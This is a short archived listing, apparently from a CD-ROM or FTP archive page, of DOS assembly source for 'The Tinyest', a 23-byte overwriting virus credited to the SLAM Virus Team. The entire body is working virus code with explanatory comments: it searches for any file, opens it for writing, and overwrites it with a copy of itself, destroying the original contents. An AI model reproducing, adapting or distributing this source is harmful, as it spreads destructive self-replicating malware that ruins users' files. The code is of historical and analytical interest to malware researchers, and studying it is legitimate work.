home *** CD-ROM | disk | FTP | other *** search
- ; Virus Name: The Tinyest (Hey, waddaya want? I'm running out of names...)
- ; Virus Author: Virtual Daemon
- ; Virus Group: SLAM Virus Team
- ; Virus Size: 23 Bytes
- ; Creation Time: about 2 min
- .model tiny
- .code
- org 100h ;COM file
- start:
- filespec db '*.*',0 ;we'll be looking for this kind of files
- ;this is replaced by a SUB CH instruction
- mov ah,4eh ;find first file
- intr:
- mov dx,si ;dx=si=100h=filespec
- int 21h
- mov ax,3d02h ;open the file for reading & writting
- mov dx,9eh ;get file name from DTA
- int 21h
- xchg bx,ax ;save file handle in BX (stupid DOS... :)
- mov ah,40h ;write the virus to file
- jmp short intr ;jmp to intr where dx will take the value 100h
- end start
-